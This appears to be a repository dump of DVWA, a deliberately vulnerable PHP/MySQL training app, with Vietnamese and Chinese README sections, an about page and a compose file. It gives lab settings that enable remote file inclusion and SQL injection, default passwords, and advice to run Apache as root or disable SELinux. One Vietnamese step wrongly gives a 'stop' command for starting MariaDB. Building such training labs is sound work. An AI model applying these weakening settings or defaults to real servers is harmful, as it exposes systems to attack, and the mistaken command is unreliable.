mysqli_sql_exception: Connection refused in /var/sites/dvwa/non-secure/htdocs/dvwa/includes/dvwaPage.inc.php:535\n```\n\nCó nghĩa là máy chủ database của bạn không chạy hoặc bạn đã nhập sai địa chỉ IP trong file cấu hình.\n\nKiểm tra dòng này trong file cấu hình để xem máy chủ database dự kiến sẽ ở đâu:\n\n```\n$_DVWA[ 'db_server' ]   = '127.0.0.1';\n```\n\nSau đó đi đến máy chủ này và kiểm tra xem nó có đang chạy không. Trong Linux, chạy:\n\n```\nsystemctl status mariadb.service\n```\n\nVà bạn đang tìm kiếm thứ gì đó như sau, quan trọng là nó ghi `active (running)`.\n\n```\n● mariadb.service - MariaDB 10.5.19 database server\n     Loaded: loaded (/lib/systemd/system/mariadb.service; enabled; preset: enabled)\n     Active: active (running) since Thu 2024-03-14 16:04:25 GMT; 1 week 5 days ago\n```\n\nNếu nó không chạy, bạn có thể khởi động nó bằng:\n\n```\nsudo systemctl stop mariadb.service\n```\n\nLưu ý `sudo` và đảm bảo bạn nhập mật khẩu người dùng Linux của mình nếu được yêu cầu.\n\nTrong Windows, hãy kiểm tra trạng thái trong bảng điều khiển XAMPP.\n\n### Phương thức xác thực không xác định\n\nVới các phiên bản mới nhất của MySQL, PHP không còn có thể giao tiếp với database ở cấu hình mặc định của nó nữa. Nếu bạn chạy script thiết lập và nhận được thông báo sau thì là bạn đã cấu hình nó.\n\n```\nDatabase Error #2054: The server requested authentication method unknown to the client.\n```\n\nBạn có hai lựa chọn, đơn giản nhất là gỡ cài đặt MySQL và cài đặt MariaDB. Sau đây là hướng dẫn chính thức từ project MariaDB:\n\n<https://mariadb.com/resources/blog/how-to-migrate-from-mysql-to-mariadb-on-linux-in-five-steps/>\n\nNgoài ra, hãy làm theo các bước sau:\n\n1. Với quyền root, chỉnh sửa file: `/etc/mysql/mysql.conf.d/mysqld.cnf`\n1. Dưới dòng `[mysqld]`, thêm vào như sau:\n   `default-authentication-plugin=mysql_native_password`\n1. Restart database: `sudo service mysql restart`\n1. Kiểm tra phương thức xác thực cho người dùng database của bạn:\n\n   ```sql\n   mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n   +- - -- - -- - - - -+- - -- - -- - -- - -- - -- - -+- - -- - -- - -- - -- - -- - -- - - - -+\n   | Host      | User             | plugin                |\n   +- - -- - -- - - - -+- - -- - -- - -- - -- - -- - -+- - -- - -- - -- - -- - -- - -- - - - -+\n   | localhost | dvwa             | caching_sha2_password |\n   +- - -- - -- - - - -+- - -- - -- - -- - -- - -- - -+- - -- - -- - -- - -- - -- - -- - - - -+\n   1 rows in set (0.00 sec)\n   ```\n\n1. Bạn sẽ thấy `caching_sha2_password`. Nếu có , hãy chạy:\n\n   ```sql\n   mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd';\n   ```\n\n1. Chạy lại check, bạn sẽ thấy `mysql_native_password`.\n\n   ```sql\n   mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n   +- - -- - -- - - - -+- - -- - -+- - -- - -- - -- - -- - -- - -- - - - -+\n   | Host      | User | plugin                |\n   +- - -- - -- - - - -+- - -- - -+- - -- - -- - -- - -- - -- - -- - - - -+\n   | localhost | dvwa | mysql_native_password |\n   +- - -- - -- - - - -+- - -- - -+- - -- - -- - -- - -- - -- - -- - - - -+\n   1 row in set (0.00 sec)\n   ```\n\nSau cùng, quá trình thiết lập sẽ hoạt động như bình thường.\n\nNếu bạn muốn biết thêm thông tin, hãy xem trang sau: <https://www.php.net/manual/en/mysqli.requirements.php>.\n\n### Lỗi Database #2002: No such file or directory.\n\nMáy chủ database không chạy. Nếu như bạn sử dụng distro dựa trên Debian, hảy chạy:\n\n```sh\nsudo service mysql start\n```\n\n### Lỗi \"MySQL server has gone away\" và \"Packets out of order\"\n\nCó một số lý do khiến bạn gặp phải những lỗi này, nhưng rất có thể là phiên bản máy chủ database bạn đang chạy không tương thích với phiên bản PHP.\n\nĐiều này thường thấy nhất khi bạn đang chạy phiên bản MySQL mới nhất dưới dạng PHP và nó không hoạt động tốt. Lời khuyên tốt nhất là hãy bỏ MySQL và cài đặt MariaDB vì đây không phải là thứ chúng tôi có thể hỗ trợ.\n\nNếu bạn muốn biết thêm thông tin, hãy xem trang sau\n\n<https://www.ryadel.com/en/fix-mysql-server-gone-away-packets-order-similar-mysql-related-errors/>\n\n### Command Injection không thể hoạt động\n\nApache có thể không có đặc quyền đủ cao để chạy lệnh trên máy chủ web. Nếu bạn đang chạy DVWA trên Linux, hãy đảm bảo bạn đã đăng nhập bằng quyền root. Trong Windows đăng nhập với tư cách Administrator\n\n### Tại sao databse không thể kết nối với CentOS?\n\nCó thể bạn đang gặp vấn đề với SELinux. Tắt SELinux hoặc chạy lệnh này để cho phép máy chủ web giao tiếp với database:\n\n```\nsetsebool -P httpd_can_network_connect_db 1\n```\n\n### Một số thứ khác\n\nĐể biết thông tin troubleshooting mới nhất, vui lòng đọc cả ticket mở và đã đóng trong repo:\n\n<https://github.com/digininja/DVWA/issues>\n\nTrước khi gửi ticket, vui lòng đảm bảo rằng bạn đang chạy phiên bản code mới nhất từ repo. Đây không phải là bản phát hành mới nhất, đây là code mới nhất từ master branch.\n\nNếu gửi ticket, vui lòng gửi ít nhất các thông tin sau:\n\n- Hệ điều hành\n- 5 dòng cuối cùng từ lỗi máy chủ web sẽ ghi trực tiếp sau khi xảy ra bất kỳ lỗi nào bạn đang báo cáo\n- Nếu đó là lỗi xác thực database, hãy thực hiện các bước trên và chụp ảnh màn hình từng bước. Gửi những thứ này cùng với ảnh chụp màn hình của phần file cấu hình hiển thị người dùng và mật khẩu database.\n- Mô tả đầy đủ về những gì đang xảy ra, những gì bạn mong đợi sẽ xảy ra và những gì bạn đã cố gắng làm để khắc phục nó.\n\n- - -\n\n## Hướng dẫn chi tiết\n\nTôi sẽ cố gắng tập hợp một số video hướng dẫn tìm hiểu một số lỗ hổng và chỉ ra cách phát hiện chúng cũng như cách khai thác chúng. Đây là những cái tôi đã thực hiện cho đến nay:\n\n[Finding and Exploiting Reflected XSS](https://youtu.be/V4MATqtdxss)\n\n- - -\n\n## SQLite3 SQL Injection\n\n_Hỗ trợ cho vấn đề này còn hạn chế, trước khi nêu ra vấn đề, vui lòng đảm bảo rằng bạn đã debug, không chỉ đơn giản là \"nó không hoạt động\"._\n\nTheo mặc định, SQLi và Blind SQLi sẽ giao tiếp với máy chủ MariaDB/MySQL được web sử dụng nhưng thay vào đó, bạn có thể chuyển sang thực hiện kiểm tra SQLi đối với SQLite3.\n\nTôi sẽ không đề cập đến cách để SQLite3 hoạt động với PHP, nhưng nó sẽ là một trường hợp đơn giản là cài đặt package `php-sqlite3` và đảm bảo rằng nó được kích hoạt.\n\nĐể thực hiện chuyển đổi, chỉ cần chỉnh sửa file cấu hình và thêm hoặc chỉnh sửa các dòng sau:\n\n```\n$_DVWA[\"SQLI_DB\"] = \"sqlite\";\n$_DVWA[\"SQLITE_DB\"] = \"sqli.db\";\n```\n\nMặc định nó xài `database/sqli.db`, nếu bạn lỡ mess up, chỉ cần sao chép `database/sqli.db.dist` đè lên.\n\nCác thử thách hoàn toàn giống với MySQL, thay vào đó chúng chỉ chạy với SQLite3.\n\n- - -\n\n## 👨‍💻 Những người đóng góp\n\nCảm ơn tất cả những đóng góp của bạn và giữ cho dự án này được cập nhật. :heart:\n\nNếu bạn có ý tưởng, cải tiến nào đó hoặc chỉ đơn giản là muốn cộng tác, bạn có thể đóng góp và tham gia vào dự án, vui lòng gửi PR của mình.\n\n<p align=\"center\">\n<a href=\"https://github.com/digininja/DVWA/graphs/contributors\">\n  <img src=\"https://contrib.rocks/image?repo=digininja/DVWA&max=500\">\n</a>\n</p>\n\n- - -\n\n## Báo cáo lỗ hổng\n\nNói một cách ngắn gọn là LÀN ƠN ĐỪNG GỬI GÌ HẾT!\n\ncỨ KHOẢNG HẰNG NĂM, MỘT ai đó sẽ gửi báo cáo về lỗ hổng mà họ tìm thấy trong ứng dụng, một số được viết rất tốt, đôi khi tốt hơn những gì tôi thấy trong các báo cáo pen test có trả phí, một số chỉ là \"bạn đang thiếu header kìa bạn ơi, hãy trả tiền cho tôi đê\".\n\nVào năm 2023, vấn đề đã nâng lên một tầm cao mới khi ai đó quyết định yêu cầu CVE về một lỗ hổng bảo mật, họ đã nhận được [CVE-2023-39848](https://nvd.nist.gov/vuln/detail/CVE-2023-39848). Nhiều sự cố khá vui nhộn đã xảy ra sau đó và kha khá thời gian lãng phí để sửa lỗi này.\n\nỨng dụng này có lỗ hổng và đó là cố ý. Hầu hết là những tài liệu được ghi chép đầy đủ mà bạn xem qua như những bài học, một số khác là những tài liệu \"ẩn\", những tài liệu bạn có thể tự tìm thấy. Nếu bạn thực sự muốn thể hiện kỹ năng tìm kiếm các tính năng bổ sung ẩn của mình, hãy viết một bài đăng trên blog hoặc tạo video vì có thể có những người ở ngoài đó sẽ quan tâm đến việc tìm hiểu về chúng và cách bạn tìm thấy chúng. Nếu bạn gửi liên kết cho chúng tôi, chúng tôi thậm chí có thể đưa liên kết đó vào phần references.\n\n## Link\n\nTrang chủ dự án: <https://github.com/digininja/DVWA>\n\n_Được tạo ra bởi DVWA team_\n"
  },
  {
    "path": "README.zh.md",
    "content": "# 翻译\n\n翻译：@[inVains](https://github.com/inVains) @[songzy12](https://github.com/songzy12) @[cnskis](https://github.com/cnskis)\n\n- - -\n\n# 关于 DAMN VULNERABLE WEB APPLICATION（DVWA）\n\nDamn Vulnerable Web Application (DVWA)(译注：可以直译为：\"该死的\"不安全Web应用程序)，是一个编码差的、易受攻击的 PHP/MySQL Web应用程序。 它的主要目的是帮助信息安全专业人员在合法的环境中，练习技能和测试工具，帮助 Web 开发人员更好地了解如何加强 Web 应用程序的安全性，并帮助学生和教师在可控的教学环境中了解和学习 Web 安全技术。\n    \nDVWA的目的是通过简单明了的界面来**练习一些最常见的 Web 漏洞**，所练习的漏洞具有**不同的难度级别**。 请注意，此软件**存在提示和无提示的漏洞**。 这是特意为止。 我们鼓励您依靠自己的能力尝试并发现尽可能多的安全问题。\n- - -\n\n## 警告！\n\nDVWA非常容易被攻击！  **不要将其上传到您的云服务器上对外公开的 web 文件夹中或任何在公网中的web服务器上**，否则服务器可能会被攻击。 建议使用虚拟机安装DVWA（如[VirtualBox](https://www.virtualbox.org/) 或[VMware](https://www.vmware.com/)），网络配置为NAT组网。在客机（guest machine）中，您可以下载并安装 [XAMPP](https://www.apachefriends.org/) 用作搭建DVWA的 Web 服务和数据库服务。\n\n### 免责声明\n\n我们不对任何人使用此应用程序 (DVWA) 的方式负责。 我们已经明确了应用程序的目的，该程序以及相关技术不应被恶意使用。 我们已警告并采取相关措施阻止用户将 DVWA 安装到生产环境的 Web 服务器上。 如果您的 Web 服务器因安装 DVWA 而被攻击，这不是我们的责任，而是由上传和安装它的人负责。\n\n- - -\n\n## 许可\n\n该文件是Damn Vulnerable Web Application (DVWA) 的一部分。\n\nDamn Vulnerable Web Application (DVWA)是自由软件：您可以根据自由软件基金会发布的 GNU 通用公共许可证（许可证的第 3 版，或（由您选择的）任何更高版本）重新分发和/或修改。\n\nDamn Vulnerable Web Application (DVWA) 的发布是为了希望它有用，但不（对\"有用性\"）做任何保证； 甚至不对可销售性（MERCHANTABILITY）或针对特定目的的适用性（FITNESS FOR A PARTICULAR PURPOSE）的做任何暗示保证。 有关更多详细信息，请参阅 GNU 通用公共许可证。\n\n您应该已经在Damn Vulnerable Web Application (DVWA)中收到一份GNU通用公共许可证副本。 如果没有，请参阅 <https://www.gnu.org/licenses/>。\n\n- - -\n\n## 国际化\n\n该文件有多种语言版本：\n\n- 英文：[English](README.md)\n\n如果您想贡献翻译，请提交 PR。 但是请注意，这并不意味着只是简单的通过谷歌翻译本文档并提交，这种提交将被拒绝接受。\n\n- - -\n\n## 下载\n\n虽然有各种版本的 DVWA，但唯一受支持的版本是来自官方 GitHub 存储仓库（repository）的最新源码。 你可以从 repo 中克隆它：\n\n``` \ngit clone https://github.com/digininja/DVWA.git\n``` \n\n或者 [下载 ZIP 文件](https://github.com/digininja/DVWA/archive/master.zip)。\n\n- - -\n\n## 安装\n\n### 安装视频\n\n- [在 kali 下的 VirtualBox 中安装DVWA](https://www.youtube.com/watch?v=WkyDxNJkgQ4)\n- [在 Windows 10 上安装DVWA](https://www.youtube.com/watch?v=cak2lQvBRAo) [12分39秒]\n\n### Windows + XAMPP 方式\n\n如果您没有配置 web 服务器，那么安装 DVWA 最简单的方法就是下载并安装 [XAMPP](https://www.apachefriends.org/) \n\nXAMPP 可以非常方便快捷的在 Linux, Solaris, Windows and Mac OS X 上安装Apache WEB 服务器， XAMPP 中包含了 Apache web 服务器, MySQL数据库, PHP环境, Perl环境, 一个 FTP 服务器 和 phpMyAdmin服务.\n\nXAMPP 可以在以下地址下载:\n<https://www.apachefriends.org/>\n\n只需要解压 dvwa.zip, 然后将解压后的文件放到XAMPP的 web 服务文件夹中, 然后用浏览器打开: `http://127.0.0.1/dvwa/setup.php`\n\n### 配置文件\n\nDVWA 附带了一个示例配置文件，需要根据实际环境复制一份该文件并修改。 比如在 Linux 环境的 DVWA 路径下， 可以直接执行命令:\n\n`cp config/config.inc.php.dist config/config.inc.php`\n\n在 Windows 系统上,操作系统可能默认隐藏了后缀名，稍微有点麻烦，如果不确定是不是隐藏了后缀名，可以参考下面的博客:\n\n[在 Windows 上显示文件后缀名](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/)\n\n### Linux 软件包\n\n如果您使用的是 Debian 操作系统, 您需要安装以下依赖软件包 _(或者其他能实现相同功能的)_:\n\n- apache2\n- libapache2-mod-php\n- mariadb-server\n- mariadb-client\n- php php-mysqli\n- php-gd\n\n我们建议在安装之前进行更新，这样可以确保安装的都是最新版本。\n\n下面是更新和安装依赖的命令：\n\n```\napt update\napt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php\n```\n\nDVWA 默认使用MySQL数据库而不是 MariaDB 数据库，但是我们强烈推荐使用 MariaDB 数据库，因为MariaDB数据库无需额外配置开箱即用，MySQL 需要手动配置才行。\n\n### 数据库配置\n\n配置数据库很简单, 在主菜单上单击 `Setup DVWA`, 然后单击 `Create / Reset Database`. 系统会创建 / 重置 数据库并插入其他数据。\n\n如果在创建数据库的时候报错, 务必确保在 `./config/config.inc.php` 中的配置信息是正确的。 *不同于 config.inc.php.dist, 后者只是示例文件，请根据实际情况进行配置。*\n\n该文件的默认配置如下:\n\n```php\n$_DVWA[ 'db_server'] = '127.0.0.1';\n$_DVWA[ 'db_port'] = '3306';\n$_DVWA[ 'db_user' ] = 'dvwa';\n$_DVWA[ 'db_password' ] = 'p@ssw0rd';\n$_DVWA[ 'db_database' ] = 'dvwa';\n```\n\n有一点要注意，如果您用的是 MariaDB 而不是 MySQL (Kali中默认是 MariaDB ), 那么您将无法在数据库中使用root用户, 您必须创建一个新的数据库用户. 因此, 需要先用root用户登录数据库，然后执行以下命令:\n\n```mysql\nmysql> create database dvwa;\nQuery OK, 1 row affected (0.00 sec)\n\nmysql> create user dvwa@localhost identified by 'p@ssw0rd';\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> grant all on dvwa.* to dvwa@localhost;\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> flush privileges;\nQuery OK, 0 rows affected (0.00 sec)\n```\n\n### 其他配置\n\n根据您的操作系统以及PHP版本等，修改默认配置以达到需求，因环境不同，配置文件的位置也是不同的。\n\n**文件夹权限**:\n\n* `./hackable/uploads/` - 需要授予 web 服务可写权限 (用作存储上传的文件).\n* `./external/phpids/0.6/lib/IDS/tmp/phpids_log.txt` - 需要授予 web 服务可写权限 (如果您想使用PHPIDS的话).\n\n**PHP 配置**:\n\n* `allow_url_include = on` - 允许包含远程文件 (RFI)   [[启用url-include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)]\n* `allow_url_fopen = on` -  允许远程访问（就是请求http） (RFI)    [[启用url-fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)]\n* `safe_mode = off` - (如果 PHP 版本 <= v5.4) 允许SQL注入 (SQLi) [[安全模式](https://secure.php.net/manual/en/features.safe-mode.php)]\n* `magic_quotes_gpc = off` - (如果 PHP 版本 <= v5.4) 允许SQL注入 (SQLi) [[魔术引号](https://secure.php.net/manual/en/security.magicquotes.php)]\n* `display_errors = off` - (可选) 不显示PHP警告消息 [[关闭错误显示](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)]\n\n**`config/config.inc.php` 文件配置**:\n\n* `$_DVWA[ 'recaptcha_public_key' ]` & `$_DVWA[ 'recaptcha_private_key' ]` - 这里的值可以在此网址生成: https://www.google.com/recaptcha/admin/create\n\n### 默认用户与密码\n\n**默认用户 = `admin`**\n\n**默认密码 = `password`**\n\n_...很容易被破解 ;)_\n\n登录地址: http://127.0.0.1/login.php\n\n_注意: 根据DVWA实际安装位置自行调整。_\n\n- - -\n\n## Docker 容器配置\n\n_这一部分说明由 @thegrims 添加，有关Docker的问题或支持，请联系他们或 @opsxcq，他是Docker映像和repo的维护者。任何问题都可能会被指向此处并解决 _\n\n- [dockerhub 地址](https://hub.docker.com/r/vulnerables/web-dvwa/)\n`docker run --rm -it -p 80:80 vulnerables/web-dvwa`\n\n由于以前的MySQL问题，请确保您正在使用 aufs 。 执行 `docker info` 命令进行检查。 如果不是 aufs, 请改为 aufs， 每个操作系统都有修改的方法，且各个差异较大，此处不做赘述。\n\n- - -\n\n## 常见问题\n\n这些问题与解决方法是认为你在基于Debian的发行版上配置的DVWA，比如Debian，Ubuntu和Kali。对于其他发行版，大同小异，但是需要根据实际情况进行修改。\n\n### 打开网站 404 Not Found\n\n如果遇到了这个问题，首先需要知道文件所在位置。 默认情况下Apache WEB 服务的网站根目录位于 `/var/www/html`. 比如，放一个测试文件 `hello.txt` 到该目录, 那么在本机浏览器访问 `http://localhost/hello.txt` 就可以看到该文件的内容。\n\n比如将该文件放在 - `/var/www/html/mydir/hello.txt` - 那么需要在网址后加上文件夹名，如： `http://localhost/mydir/hello.txt`.\n\nLinux 系统是大小写敏感的，如果按下面的地址访问，都会提示 `404 Not Found`:\n\n- `http://localhost/MyDir/hello.txt`\n- `http://localhost/mydir/Hello.txt`\n- `http://localhost/MYDIR/hello.txt`\n\n这对 DVWA 有何影响？大部分人都是直接用 git 将DVWA 克隆到 `/var/www/html`, 那么此时 DVWA 的目录为： `/var/www/html/DVWA/` 这里面包含了 DVWA 所有的文件. 此时访问 `http://localhost/` 就会提示 `404` 或者是Apache的默认欢迎页面。 像这种情况，需要将访问网址改为： `http://localhost/DVWA`.\n\n还有一种常见错误是在访问 `http://localhost/dvwa` 时也会报 `404` 因为Linux大小写敏感，认为 `dvwa` 与 `DVWA` 是两个不同的路径 。\n\n所以在安装完以后, 如果打开网站提示 `404`, 检查文件是不是在 web 服务器的网站根目录下，然后确定大小写是否正确。\n\n### 安装中提示 \"Access denied\" \n\n如果在安装过程中提示 Access denied ，请检查配置文件中的数据库账号密码是否正确:\n\n```\nDatabase Error #1045: Access denied for user 'notdvwa'@'localhost' (using password: YES).\n```\n\n该错误提示正在使用的数据库用户名为：notdvwa\n\n下面的错误提示无法访问数据库，很可能是数据库配置错了。\n\n```\nSQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa'\n```\n\n说明正在使用 dvwa 用户访问 notdvwa数据库，但是访问被拒绝。\n\n首先确定配置文件是存在的。\n\n如果文件确实存在，那么在命令行下检查一下， 比如用户名为： `dvwa` 密码为： `p@ssw0rd`, 那么执行以下命令:\n\n```\nmysql -u dvwa -pp@ssw0rd -D dvwa\n```\n\n*注: 参数-p后面没有空格*\n\n如果看到以下提示信息，那么说明账号密码是正确的:\n\n```\nWelcome to the MariaDB monitor.  Commands end with ; or \\g.\nYour MariaDB connection id is 14\nServer version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [dvwa]>\n```\n\n在命令行中进行连接是正常的, 那么问题可能出在配置文件上, 再仔细检查一遍配置文件，看看是不是可以使用，如果还不行，再提issue。\n\n如果看到以下提示信息，说明当前使用的账号密码不正确。 重新进行 [数据库配置](#database-setup) 确保使用的账号密码是正确的。\n\n```\nERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES)\n```\n如果看到以下提示信息，说明当前使用的账号密码是正确的，但是没有访问当前数据库的权限。重新配置数据库，检查一下配置的数据库名是否正确。\n\n```\nERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa'\n```\n\n最后一个可能遇到的错误如下:\n\n```\nERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)\n```\n\n这不是说账号密码不正确，而是数据库没启动，执行如下命令：\n\n```sh\nsudo service mysql start\n```\n\n### Unknown authentication method\n\n在 MySQL 最新的几个版本中, PHP的默认配置无法连接数据库。 此时进行安装配置，会提示以下消息，那么需要手动修改配置。\n\n```\nDatabase Error #2054: The server requested authentication method unknown to the client.\n```\n\n有两个办法，最简单的就是卸载 MySQL 安装 MariaDB 就行了。 下面是 MariaDB 的官方文档:\n\n<https://mariadb.com/resources/blog/how-to-migrate-from-mysql-to-mariadb-on-linux-in-five-steps/>\n\n另一个办法如下:\n\n1. 用 root 身份编辑该配置文件: `/etc/mysql/mysql.conf.d/mysqld.cnf`\n1. 在 `[mysqld]` 此行, 添加如下内容:\n  `default-authentication-plugin=mysql_native_password`\n1. 重启数据库，命令: `sudo service mysql restart`\n1. 查询数据库用户的身份认证方式:\n\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------------------+-----------------------+\n    | Host      | User             | plugin                |\n    +-----------+------------------+-----------------------+\n    | localhost | dvwa             | caching_sha2_password |\n    +-----------+------------------+-----------------------+\n    1 rows in set (0.00 sec)\n    ```\n\n1. 如果显示的是 `caching_sha2_password`. 那么执行下面的命令:\n\n    ```sql\n    mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd';\n    ```\n\n1. 再查一遍，应该显示的是 `mysql_native_password`.\n\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------+-----------------------+\n    | Host      | User | plugin                |\n    +-----------+------+-----------------------+\n    | localhost | dvwa | mysql_native_password |\n    +-----------+------+-----------------------+\n    1 row in set (0.00 sec)\n    ```\n\n修改完成后，DVWA 安装程序应该可以正常进行。\n\n如果想了解更多相关内容，请访问: <https://www.php.net/manual/en/mysqli.requirements.php>.\n\n### Database Error #2002: No such file or directory.\n\n数据库没有启动。 在 Debian 上执行如下命令即可:\n\n```sh\nsudo service mysql start\n```\n\n### Errors \"MySQL server has gone away\" and \"Packets out of order\"\n\n出现这个错误有多个原因，最有可能是当前数据库版本和 PHP 版本不兼容导致的。\n\n很有可能是当前用的数据库是最新的，导致 PHP 不兼容， 最好的办法还是放弃 MySQL 安装 MariaDB ，因为不兼容问题，我们也无法提供支持。\n\n更多相关内容，请访问:\n\n<https://www.ryadel.com/en/fix-mysql-server-gone-away-packets-order-similar-mysql-related-errors/>\n\n### 命令注入没反应\n\n这个原因是 Apache 没有权限执行系统命令，如果是 Linux 系统，请用root用户启动Apache， 如果是Windows请以管理员身份启动Apache。\n\n### 在 CentOS 上连不上数据库？\n\n很有可能是启用了 SELinux.  要么关闭 SELinux 要么执行下面的命令，以允许数据库访问:\n\n```\nsetsebool -P httpd_can_network_connect_db 1\n```\n\n### 更多\n\n更多问题请参考以下仓库中已关闭的 issue :\n\n<https://github.com/digininja/DVWA/issues>\n\n在提交issue之前，确保使用的是该仓库最新版本的代码。本仓库代码不是最新的, 只是主干中的最新代码。\n\n如果需要提交issue，请至少提供以下信息:\n\n- 操作系统是什么？\n- 出现错误后的web容器中最后至少五行日志。\n- 如果是数据库认证问题，那就重新进行一遍上面的步骤，截图每一步。将这些截图与显示数据库用户和密码的配置文件部分的屏幕截图一起提交。\n- 对该问题的详细描述，你觉得会发生什么，以及你已经尽力去解决它。像 \"登录失败\" 不足以让我们明白您的问题出在哪里，也无法帮助您解决。\n- - -\n\n## SQLite3 SQL 注入\n\n_对该部分的支持是有限的, 在提交issue之前，确保已经尝试尽力去解决, 而不是简单的一句 \"它没反应\"。_\n\n通常情况下 SQL 注入 和 SQL 盲注 都是对使用 MySQL 和 MariaDB 数据库站点进行测试的，但是也可以用在sqlite上。\n\n我不打算介绍如何在PHP中使用 SQLite3 ， 不过安装 `php-sqlite3` 依赖来实现 PHP 连接 SQLite3 应该是比较简单的。\n\n要切换为 SQLite3 只需要编辑下面几行:\n\n```\n$_DVWA[\"SQLI_DB\"] = \"sqlite\";\n$_DVWA[\"SQLITE_DB\"] = \"sqli.db\";\n```\n\n默认情况，使用的是 `database/sqli.db` 文件, 如果配置错了或者崩了，只要复制一份 `database/sqli.db.dist` 覆盖掉原文件就行了。\n\n可能出现的问题和 MySQL 差不多，唯一不同的是，当前数据库是SQLite3\n\n- - -\n\n## 关于\n\n项目地址: <https://github.com/digininja/DVWA>\n\n*DVWA 团队*\n"
  },
  {
    "path": "SECURITY.md",
    "content": "The clue is in its name, DVWA contains both intentional and unintentional vulnerabliities, that is it's whole point, please do not try to report them.\n"
  },
  {
    "path": "about.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup( array( ) );\r\n\r\n$page = dvwaPageNewGrab();\r\n$page[ 'title' ]   = 'About' . $page[ 'title_separator' ].$page[ 'title' ];\r\n$page[ 'page_id' ] = 'about';\r\n\r\n$page[ 'body' ] .= \"\r\n<div class=\\\"body_padded\\\">\r\n\t<h2>About</h2>\r\n\t<p>Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment</p>\r\n\t<p>Pre-August 2020, All material is copyright 2008-2015 RandomStorm & Ryan Dewhurst.</p>\r\n\t<p>Ongoing, All material is copyright Robin Wood and probably Ryan Dewhurst.</p>\r\n\r\n\t<h2>Links</h2>\r\n\t<ul>\r\n\t\t<li>Project Home: \" . dvwaExternalLinkUrlGet( 'https://github.com/digininja/DVWA' ) . \"</li>\r\n\t\t<li>Bug Tracker: \" . dvwaExternalLinkUrlGet( 'https://github.com/digininja/DVWA/issues' ) . \"</li>\r\n\t\t<li>Wiki: \" . dvwaExternalLinkUrlGet( 'https://github.com/digininja/DVWA/wiki' ) . \"</li>\r\n\t</ul>\r\n\r\n\t<h2>Credits</h2>\r\n\t<ul>\r\n\t\t<li>Brooks Garrett: \" . dvwaExternalLinkUrlGet( 'http://brooksgarrett.com/','www.brooksgarrett.com' ) . \"</li>\r\n\t\t<li>Craig</li>\r\n\t\t<li>g0tmi1k: \" . dvwaExternalLinkUrlGet( 'https://blog.g0tmi1k.com/','g0tmi1k.com' ) . \"</li>\r\n\t\t<li>Jamesr: \" . dvwaExternalLinkUrlGet( 'https://www.creativenucleus.com/','www.creativenucleus.com' ) . \"</li>\r\n\t\t<li>Jason Jones</li>\r\n\t\t<li>RandomStorm</li>\r\n\t\t<li>Ryan Dewhurst: \" . dvwaExternalLinkUrlGet( 'https://wpscan.com/','wpscan.com' ) . \"</li>\r\n\t\t<li>Shinkurt: \" . dvwaExternalLinkUrlGet( 'http://www.paulosyibelo.com/','www.paulosyibelo.com' ) . \"</li>\r\n\t\t<li>Tedi Heriyanto: \" . dvwaExternalLinkUrlGet( 'http://tedi.heriyanto.net/','tedi.heriyanto.net' ) . \"</li>\r\n\t\t<li>Tom Mackenzie</li>\r\n\t\t<li>Robin Wood: \" . dvwaExternalLinkUrlGet( 'https://digi.ninja/','digi.ninja' ) . \"</li>\r\n\t\t<li>Zhengyang Song: \" . dvwaExternalLinkUrlGet( 'https://github.com/songzy12/','songzy12' ) . \"</li>\r\n\t</ul>\r\n\r\n\t<h2>License</h2>\r\n\t<p>Damn Vulnerable Web Application (DVWA) is free software: you can redistribute it and/or modify\r\n\tit under the terms of the GNU General Public License as published by\r\n\tthe Free Software Foundation, either version 3 of the License, or\r\n\t(at your option) any later version.</p>\r\n\r\n\t<h2>Development</h2>\r\n\t<p>Everyone is welcome to contribute and help make DVWA as successful as it can be. All contributors can have their name and link (if they wish) placed in the credits section. To contribute pick an Issue from the Project Home to work on or submit a patch to the Issues list.</p>\r\n</div>\\n\";\r\n\r\ndvwaHtmlEcho( $page );\r\n\r\nexit;\r\n\r\n?>\r\n"
  },
  {
    "path": "compose.yml",
    "content": "volumes:\n  dvwa:\n\n\nnetworks:\n  dvwa:\n\n\nservices:\n  dvwa:\n    build: .\n    image: ghcr.io/digininja/dvwa:latest\n    # Change `always` to `build` to build from local source\n    pull_policy: always\n    environment:\n      - DB_SERVER=db\n    depends_on:\n      - db\n    # Uncomment the next 2 lines to serve local source\n    # volumes:\n    #   - ./:/var/www/html\n    networks:\n      - dvwa\n    ports:\n      - 127.0.0.1:4280:80\n    restart: unless-stopped\n\n  db:\n    image: docker.io/library/mariadb:10\n    environment:\n      - MYSQL_ROOT_PASSWORD=dvwa\n      - MYSQL_DATABASE=dvwa\n      - MYSQL_USER=dvwa\n      - MYSQL_PASSWORD=p@ssw0rd\n    volumes:\n      - dvwa:/var/lib/mysql\n    networks:\n      - dvwa\n    